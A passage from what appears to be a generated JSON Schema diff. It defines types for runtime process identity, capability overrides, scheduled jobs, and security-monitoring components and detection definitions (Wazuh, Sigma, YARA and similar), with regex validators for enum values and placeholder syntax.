single process or its descendant subtree.\n\nPer ADR-030, scoped Linux-capability facts stay under\n``RuntimeCapabilityPolicy`` rather than migrating onto\n``RuntimeProcessIdentity``. ``subject`` reuses the existing process\nidentity model as a selector / evidence anchor \u2014 it identifies *which*\nprocess or subtree the delta applies to but does not own capability\nsemantics. ``effective`` / ``add`` / ``drop`` record the scoped delta\nrelative to the container-wide baseline on the enclosing\n``RuntimeCapabilityPolicy``; ``required`` is intentionally omitted from\nthis surface because overrides describe deltas, not new container-wide\nrequirements.","properties":{"add":{"$ref":"#/$defs/_r99"},"description":{"$ref":"#/$defs/_r53"},"drop":{"$ref":"#/$defs/_r113"},"effective":{"$ref":"#/$defs/_r114"},"scope":{"anyOf":[{"$ref":"#/$defs/RuntimeCapabilityOverrideScope"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][rR][oO][cC][eE][sS][sS]|[sS][uU][bB][tT][rR][eE][eE]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"process","title":"Scope"},"subject":{"$ref":"#/$defs/RuntimeProcessIdentity"}},"required":["subject"],"title":"RuntimeProcessCapabilityOverride","type":"object"}, + "RuntimeProcessIdentity": {"additionalProperties":false,"description":"Observed process identity for a runtime node.","properties":{"command":{"$ref":"#/$defs/_r107"},"command_redacted":{"$ref":"#/$defs/_r32"},"description":{"$ref":"#/$defs/_r53"},"group":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Group","type":"string"},"name":{"$ref":"#/$defs/_r64"},"parent_pid":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Parent Pid"},"pid":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Pid"},"role":{"anyOf":[{"$ref":"#/$defs/RuntimeProcessRole"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][rR][iI][mM][aA][rR][yY]|[sS][uU][pP][eE][rR][vV][iI][sS][oO][rR]|[wW][oO][rR][kK][eE][rR]|[sS][iI][dD][eE][cC][aA][rR]|[aA][gG][eE][nN][tT]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Role"},"user":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"User","type":"string"},"working_directory":{"$ref":"#/$defs/_r82"}},"title":"RuntimeProcessIdentity","type":"object"}, + "RuntimeProcessResourceLimit": {"additionalProperties":false,"description":"One portable soft/hard process limit for a selected process or subtree.","properties":{"description":{"$ref":"#/$defs/_r53"},"hard":{"anyOf":[{"minimum":0,"type":"integer"},{"const":"unlimited","type":"string"}],"title":"Hard"},"resource":{"$ref":"#/$defs/ProcessResourceLimitKind"},"scope":{"$ref":"#/$defs/ProcessResourceLimitScope","default":"process"},"soft":{"anyOf":[{"minimum":0,"type":"integer"},{"const":"unlimited","type":"string"}],"title":"Soft"},"subject":{"$ref":"#/$defs/RuntimeProcessIdentity","allOf":[{"if":{"properties":{"command_redacted":{"anyOf":[{"const":true},{"pattern":"^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$","type":"string"}]}},"required":["command_redacted"]},"then":{"properties":{"command":{"maxItems":0}}}}]}},"required":["resource","soft","hard","subject"],"title":"RuntimeProcessResourceLimit","type":"object"}, + "RuntimeProcessRole": {"description":"Observed role of a process in a runtime process set.","enum":["primary","supervisor","worker","sidecar","agent","other","unknown"],"title":"RuntimeProcessRole","type":"string"}, + "RuntimePublishedPort": {"additionalProperties":false,"description":"A required host-published port binding for a container endpoint.\n\nHost IP, host port, container port, and protocol are kept distinct; this is\na runtime/host exposure fact, not a node service declaration (ADR-025).","properties":{"container_port":{"$ref":"#/$defs/_r42"},"description":{"$ref":"#/$defs/_r53"},"host_ip":{"$ref":"#/$defs/_r61"},"host_port":{"$ref":"#/$defs/_r36"},"protocol":{"$ref":"#/$defs/_r84"}},"required":["container_port"],"title":"RuntimePublishedPort","type":"object"}, + "RuntimePublishedPortRef": {"additionalProperties":false,"description":"Typed reference to an observed host-published port binding.\n\n``RuntimePublishedPort`` currently has no stable id, so the tuple is the\nreference shape used by semantic validation.","properties":{"container_port":{"$ref":"#/$defs/_r42"},"host_ip":{"$ref":"#/$defs/_r61"},"host_port":{"$ref":"#/$defs/_r36"},"protocol":{"$ref":"#/$defs/_r84"}},"required":["container_port"],"title":"RuntimePublishedPortRef","type":"object"}, + "RuntimeResourceLimits": {"additionalProperties":false,"description":"Required capacity and process-resource policy for a runtime node.","properties":{"cpu":{"anyOf":[{"type":"number"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Cpu"},"description":{"$ref":"#/$defs/_r53"},"memory":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Memory"},"memory_swap":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Memory Swap"},"pids":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Pids"},"process_limits":{"items":{"$ref":"#/$defs/RuntimeProcessResourceLimit"},"title":"Process Limits","type":"array"}},"title":"RuntimeResourceLimits","type":"object"}, + "RuntimeRestartPolicy": {"description":"Portable restart policy required by the scenario.","enum":["no","always","on_failure","unless_stopped","unknown","other"],"title":"RuntimeRestartPolicy","type":"string"}, + "RuntimeScheduledJob": {"additionalProperties":false,"description":"Node-scoped runtime inventory for a recurring scheduled job (cadence + run-state).","properties":{"command_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Command Ref","type":"string"},"description":{"$ref":"#/$defs/_r53"},"enabled":{"$ref":"#/$defs/_r27"},"name":{"$ref":"#/$defs/_r64"},"run_state":{"anyOf":[{"$ref":"#/$defs/RuntimeScheduledJobRunState"},{"type":"null"}],"default":null},"schedule":{"anyOf":[{"$ref":"#/$defs/RuntimeScheduledJobSchedule"},{"type":"null"}],"default":null},"scheduled_job_id":{"$ref":"#/$defs/_r3"}},"required":["scheduled_job_id"],"title":"RuntimeScheduledJob","type":"object"}, + "RuntimeScheduledJobLastResult": {"description":"Open run-outcome taxonomy for the most recent scheduled-job execution.","enum":["success","failure","pending","unknown","other"],"title":"RuntimeScheduledJobLastResult","type":"string"}, + "RuntimeScheduledJobRunState": {"additionalProperties":false,"description":"Observed run-state for a scheduled job.","properties":{"last_result":{"anyOf":[{"$ref":"#/$defs/RuntimeScheduledJobLastResult"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][uU][cC][cC][eE][sS][sS]|[fF][aA][iI][lL][uU][rR][eE]|[pP][eE][nN][dD][iI][nN][gG]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Last Result"},"last_run":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Last Run","type":"string"},"next_run":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Next Run","type":"string"}},"title":"RuntimeScheduledJobRunState","type":"object"}, + "RuntimeScheduledJobSchedule": {"additionalProperties":false,"description":"The recurrence cadence for a scheduled job.","properties":{"enabled":{"$ref":"#/$defs/_r27"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeScheduledJobScheduleKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][nN][tT][eE][rR][vV][aA][lL]|[cC][rR][oO][nN]|[cC][aA][lL][eE][nN][dD][aA][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"interval","title":"Kind"},"spec":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Spec","type":"string"}},"title":"RuntimeScheduledJobSchedule","type":"object"}, + "RuntimeScheduledJobScheduleKind": {"description":"Closed structural recurrence vocabulary for a scheduled-job schedule.\n\nThis is a fixed structural vocabulary (POSIX crontab / RFC 5545 RRULE /\nfixed-interval), so per the DSL-139 enum-sentinel rule it carries neither\n``unknown`` nor ``other``.","enum":["interval","cron","calendar"],"title":"RuntimeScheduledJobScheduleKind","type":"string"}, + "RuntimeSecurityMonitoringAgent": {"additionalProperties":false,"description":"An agent or sensor enrolled with the manager.","properties":{"address":{"$ref":"#/$defs/_r47"},"agent_id":{"$ref":"#/$defs/_r3"},"description":{"$ref":"#/$defs/_r53"},"group_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Group Refs","type":"array"},"name":{"$ref":"#/$defs/_r174"},"node_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Node Ref","type":"string"},"os":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Os","type":"string"},"status":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringAgentStatus"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][vV][aA][iI][lL][aA][bB][lL][eE]|[aA][cC][tT][iI][vV][eE]|[dD][iI][sS][cC][oO][nN][nN][eE][cC][tT][eE][dD]|[nN][eE][vV][eE][rR][-_][cC][oO][nN][nN][eE][cC][tT][eE][dD]|[pP][eE][nN][dD][iI][nN][gG]|[rR][eE][mM][oO][vV][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Status"},"version":{"$ref":"#/$defs/_r81"}},"required":["agent_id","name"],"title":"RuntimeSecurityMonitoringAgent","type":"object"}, + "RuntimeSecurityMonitoringAgentGroup": {"additionalProperties":false,"description":"A manager-side enrolled-agent group.","properties":{"configuration_file_refs":{"$ref":"#/$defs/_r108"},"description":{"$ref":"#/$defs/_r53"},"group_id":{"$ref":"#/$defs/_r3"},"member_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Member Refs","type":"array"},"name":{"$ref":"#/$defs/_r64"}},"required":["group_id"],"title":"RuntimeSecurityMonitoringAgentGroup","type":"object"}, + "RuntimeSecurityMonitoringAgentStatus": {"description":"Observed enrolled-agent status.","enum":["available","active","disconnected","never_connected","pending","removed","unknown","other"],"title":"RuntimeSecurityMonitoringAgentStatus","type":"string"}, + "RuntimeSecurityMonitoringComponent": {"additionalProperties":false,"description":"A manager daemon, module, or internal component.","properties":{"component_id":{"$ref":"#/$defs/_r3"},"description":{"$ref":"#/$defs/_r53"},"enabled":{"$ref":"#/$defs/_r27"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringComponentKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][nN][aA][lL][yY][sS][iI][sS][-_][eE][nN][gG][iI][nN][eE]|[aA][gG][eE][nN][tT][-_][iI][nN][gG][eE][sS][tT][iI][oO][nN]|[aA][gG][eE][nN][tT][-_][eE][nN][rR][oO][lL][lL][mM][eE][nN][tT]|[mM][oO][dD][uU][lL][eE][-_][sS][uU][pP][eE][rR][vV][iI][sS][oO][rR]|[lL][oO][gG][-_][cC][oO][lL][lL][eE][cC][tT][iI][oO][nN]|[aA][lL][eE][rR][tT][iI][nN][gG]|[aA][pP][iI]|[cC][lL][uU][sS][tT][eE][rR]|[iI][nN][dD][eE][xX][eE][rR][-_][fF][oO][rR][wW][aA][rR][dD][eE][rR]|[vV][uU][lL][nN][eE][rR][aA][bB][iI][lL][iI][tT][yY][-_][dD][eE][tT][eE][cC][tT][iI][oO][nN]|[fF][iI][lL][eE][-_][iI][nN][tT][eE][gG][rR][iI][tT][yY][-_][mM][oO][nN][iI][tT][oO][rR][iI][nN][gG]|[rR][oO][oO][tT][kK][iI][tT][-_][dD][eE][tT][eE][cC][tT][iI][oO][nN]|[sS][cC][aA]|[aA][cC][tT][iI][vV][eE][-_][rR][eE][sS][pP][oO][nN][sS][eE]|[iI][nN][tT][eE][gG][rR][aA][tT][iI][oO][nN]|[dD][aA][tT][aA][bB][aA][sS][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Kind"},"name":{"$ref":"#/$defs/_r174"},"process_ref":{"$ref":"#/$defs/_r66"},"status":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringComponentStatus"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[rR][uU][nN][nN][iI][nN][gG]|[sS][tT][oO][pP][pP][eE][dD]|[dD][iI][sS][aA][bB][lL][eE][dD]|[eE][nN][aA][bB][lL][eE][dD]|[dD][eE][gG][rR][aA][dD][eE][dD]|[fF][aA][iI][lL][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Status"}},"required":["component_id","name"],"title":"RuntimeSecurityMonitoringComponent","type":"object"}, + "RuntimeSecurityMonitoringComponentKind": {"description":"Portable component/module kind inside a security-monitoring manager.","enum":["analysis_engine","agent_ingestion","agent_enrollment","module_supervisor","log_collection","alerting","api","cluster","indexer_forwarder","vulnerability_detection","file_integrity_monitoring","rootkit_detection","sca","active_response","integration","database","other","unknown"],"title":"RuntimeSecurityMonitoringComponentKind","type":"string"}, + "RuntimeSecurityMonitoringComponentStatus": {"description":"Observed component/module status.","enum":["running","stopped","disabled","enabled","degraded","failed","unknown","other"],"title":"RuntimeSecurityMonitoringComponentStatus","type":"string"}, + "RuntimeSecurityMonitoringContentFormat": {"description":"Portable format family for manager-owned content.","enum":["wazuh_rule_xml","wazuh_decoder_xml","sigma","yara","stix","json","yaml","xml","query","unknown","other"],"title":"RuntimeSecurityMonitoringContentFormat","type":"string"}, + "RuntimeSecurityMonitoringContentKind": {"description":"Kind of manager-owned detection or monitoring content.","enum":["rule_corpus","decoder_corpus","correlation_rules","sca_policies","active_response","cdb_list","threat_intel","dashboard","other","unknown"],"title":"RuntimeSecurityMonitoringContentKind","type":"string"}, + "RuntimeSecurityMonitoringContentSet": {"additionalProperties":false,"description":"A manager-owned rule, decoder, policy, list, or query corpus.","properties":{"content_id":{"$ref":"#/$defs/_r3"},"description":{"$ref":"#/$defs/_r53"},"file_count":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"File Count"},"file_refs":{"$ref":"#/$defs/_r119"},"format":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringContentFormat"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[wW][aA][zZ][uU][hH][-_][rR][uU][lL][eE][-_][xX][mM][lL]|[wW][aA][zZ][uU][hH][-_][dD][eE][cC][oO][dD][eE][rR][-_][xX][mM][lL]|[sS][iI][gG][mM][aA]|[yY][aA][rR][aA]|[sS][tT][iI][xX]|[jJ][sS][oO][nN]|[yY][aA][mM][lL]|[xX][mM][lL]|[qQ][uU][eE][rR][yY]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Format"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringContentKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[rR][uU][lL][eE][-_][cC][oO][rR][pP][uU][sS]|[dD][eE][cC][oO][dD][eE][rR][-_][cC][oO][rR][pP][uU][sS]|[cC][oO][rR][rR][eE][lL][aA][tT][iI][oO][nN][-_][rR][uU][lL][eE][sS]|[sS][cC][aA][-_][pP][oO][lL][iI][cC][iI][eE][sS]|[aA][cC][tT][iI][vV][eE][-_][rR][eE][sS][pP][oO][nN][sS][eE]|[cC][dD][bB][-_][lL][iI][sS][tT]|[tT][hH][rR][eE][aA][tT][-_][iI][nN][tT][eE][lL]|[dD][aA][sS][hH][bB][oO][aA][rR][dD]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Kind"},"loaded":{"$ref":"#/$defs/_r28"},"name":{"$ref":"#/$defs/_r64"}},"required":["content_id"],"title":"RuntimeSecurityMonitoringContentSet","type":"object"}, + "RuntimeSecurityMonitoringDetectionDefinition": {"additionalProperties":false,"description":"A parsed detection definition loaded by a security-monitoring manager.","properties":{"canonical_digest":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Canonical Digest","type":"string"},"compliance_tags":{"items":{"$ref":"#/$defs/_r185"},"title":"Compliance Tags","type":"array"},"content_set_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Content Set Ref","type":"string"},"decoded_as":{"items":{"$ref":"#/$defs/_r185"},"title":"Decoded As","type":"array"},"decoder_fields":{"items":{"$ref":"#/$defs/_r185"},"title":"Decoder Fields","type":"array"},"decoder_names":{"items":{"$ref":"#/$defs/_r185"},"title":"Decoder Names","type":"array"},"definition_id":{"$ref":"#/$defs/_r3"},"definition_kind":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringDetectionDefinitionKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[rR][uU][lL][eE]|[cC][oO][rR][rR][eE][lL][aA][tT][iI][oO][nN][-_][rR][uU][lL][eE]|[dD][eE][cC][oO][dD][eE][rR]|[lL][iI][sS][tT][-_][bB][aA][cC][kK][eE][dD][-_][rR][uU][lL][eE]|[sS][cC][aA][-_][pP][oO][lL][iI][cC][yY][-_][cC][hH][eE][cC][kK]|[aA][cC][tT][iI][vV][eE][-_][rR][eE][sS][pP][oO][nN][sS][eE][-_][tT][rR][iI][gG][gG][eE][rR]|[sS][iI][gG][mM][aA][-_][rR][uU][lL][eE]|[yY][aA][rR][aA][-_][rR][uU][lL][eE]|[sS][uU][rR][iI][cC][aA][tT][aA][-_][rR][uU][lL][eE]|[sS][iI][eE][mM][-_][aA][nN][aA][lL][yY][tT][iI][cC]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Definition Kind"},"description":{"$ref":"#/$defs/_r53"},"digest_algorithm":{"$ref":"#/$defs/_r55"},"enabled":{"$ref":"#/$defs/_r27"},"engine":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringDetectionEngine"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[wW][aA][zZ][uU][hH]|[oO][sS][sS][eE][cC]|[sS][iI][gG][mM][aA]|[yY][aA][rR][aA]|[sS][uU][rR][iI][cC][aA][tT][aA]|[eE][lL][aA][sS][tT][iI][cC][-_][sS][eE][cC][uU][rR][iI][tT][yY]|[sS][pP][lL][uU][nN][kK][-_][eE][nN][tT][eE][rR][pP][rR][iI][sS][eE][-_][sS][eE][cC][uU][rR][iI][tT][yY]|[mM][iI][cC][rR][oO][sS][oO][fF][tT][-_][sS][eE][nN][tT][iI][nN][eE][lL]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Engine"},"evidence_refs":{"$ref":"#/$defs/_r118"},"field_predicates":{"items":{"$ref":"#/$defs/RuntimeSecurityMonitoringFieldPredicate"},"title":"Field Predicates","type":"array"},"frequency":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Frequency"},"groups":{"$ref":"#/$defs/_r120"},"if_matched_sid_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"If Matched Sid Refs","type":"array"},"if_sid_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"If Sid Refs","type":"array"},"level":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Level"},"loaded":{"$ref":"#/$defs/_r28"},"match_strings":{"items":{"$ref":"#/$defs/_r185"},"title":"Match Strings","type":"array"},"mitre_attack_ids":{"items":{"$ref":"#/$defs/_r185"},"title":"Mitre Attack Ids","type":"array"},"name":{"$ref":"#/$defs/_r64"},"native_id":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Native Id","type":"string"},"parent_definition_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Parent Definition Refs","type":"array"},"parser_accepted":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Parser Accepted"},"regex_patterns":{"items":{"$ref":"#/$defs/_r185"},"title":"Regex Patterns","type":"array"},"same_source_constraints":{"items":{"$ref":"#/$defs/_r185"},"title":"Same Source Constraints","type":"array"},"severity":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Severity","type":"string"},"source_artifact_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source Artifact Ref","type":"string"},"source_end_line":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Source End Line"},"source_file_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source File Ref","type":"string"},"source_start_line":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Source Start Line"},"tactic_labels":{"items":{"$ref":"#/$defs/_r185"},"title":"Tactic Labels","type":"array"},"tags":{"$ref":"#/$defs/_r128"},"target_refs":{"$ref":"#/$defs/_r129"},"technique_labels":{"items":{"$ref":"#/$defs/_r185"},"title":"Technique Labels","type":"array"},"timeframe_seconds":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Timeframe Seconds"}},"required":["definition_id"],"title":"RuntimeSecurityMonitoringDetectionDefinition","type":"object"}, + "RuntimeSecurityMonitoringDetectionDefinitionKind": {"description":"Portable kind of parsed security-monitoring detection definition.","enum":["rule","correlation_rule","decoder","list_backed_rule","sca_policy_check","active_response_trigger","sigma_rule","yara_rule","suricata_rule","siem_analytic","other","unknown"],"title":"RuntimeSecurityMonitoringDetectionDefinitionKind","type":"string"}, + "RuntimeSecurityMonitoringDetectionEngine": {"description":"Portable detection-definition engine family.","enum":["wazuh","ossec","sigma","yara","suricata","elastic_security","splunk_enterprise_security","microsoft_sentinel","unknown","other"],"title":"RuntimeSecurityMonitoringDetectionEngine","type":"string"}, + "RuntimeSecurityMonitoringFieldPredicate": {"additionalProperties":false,"description":"A normalized field predicate extracted from a detection definition.","properties":{"description":{"$ref":"#/$defs/_r53"},"field":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Field","type":"string"},"operator":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringFieldPredicateOperator"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[eE][qQ][uU][aA][lL][sS]|[mM][aA][tT][cC][hH][eE][sS]|[cC][oO][nN][tT][aA][iI][nN][sS]|[eE][xX][iI][sS][tT][sS]|[iI][nN]|[rR][eE][gG][eE][xX]|[lL][eE][sS][sS][-_][tT][hH][aA][nN]|[gG][rR][eE][aA][tT][eE][rR][-_][tT][hH][aA][nN]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Operator"},"value":{"$ref":"#/$defs/_r80"}},"required":["field"],"title":"RuntimeSecurityMonitoringFieldPredicate","type":"object"}, + "RuntimeSecurityMonitoringFieldPredicateOperator": {"description":"Portable operator for a parsed field-level predicate.","enum":["equals","matches","contains","exists","in","regex","less_than","greater_than","other","unknown"],"title":"RuntimeSecurityMonitoringFieldPredicateOperator","type":"string"}, + "RuntimeSecurityMonitoringImplementation": {"description":"Product family for an observed security-monitoring manager.","enum":["wazuh","ossec","elastic_security","splunk_enterprise_security","security_onion","microsoft_sentinel","unknown","other"],"title":"RuntimeSecurityMonitoringImplementation","type":"string"}, + "RuntimeSecurityMonitoringListener": {"additionalProperties":false,"description":"A manager listener bound to a same-node transport service.","properties":{"auth_required":{"$ref":"#/$defs/_r26"},"description":{"$ref":"#/$defs/_r53"},"listener_id":{"$ref":"#/$defs/_r3"},"protocol":{"$ref":"#/$defs/_r67"},"role":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringListenerRole"},{"$ref":"#/$defs/_r147"}],"default":"other","title":"Role"},"service":{"$ref":"#/$defs/_r70"},"tls_enabled":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Tls Enabled"}},"required":["listener_id"],"title":"RuntimeSecurityMonitoringListener","type":"object"}, + "RuntimeSecurityMonitoringListenerRole": 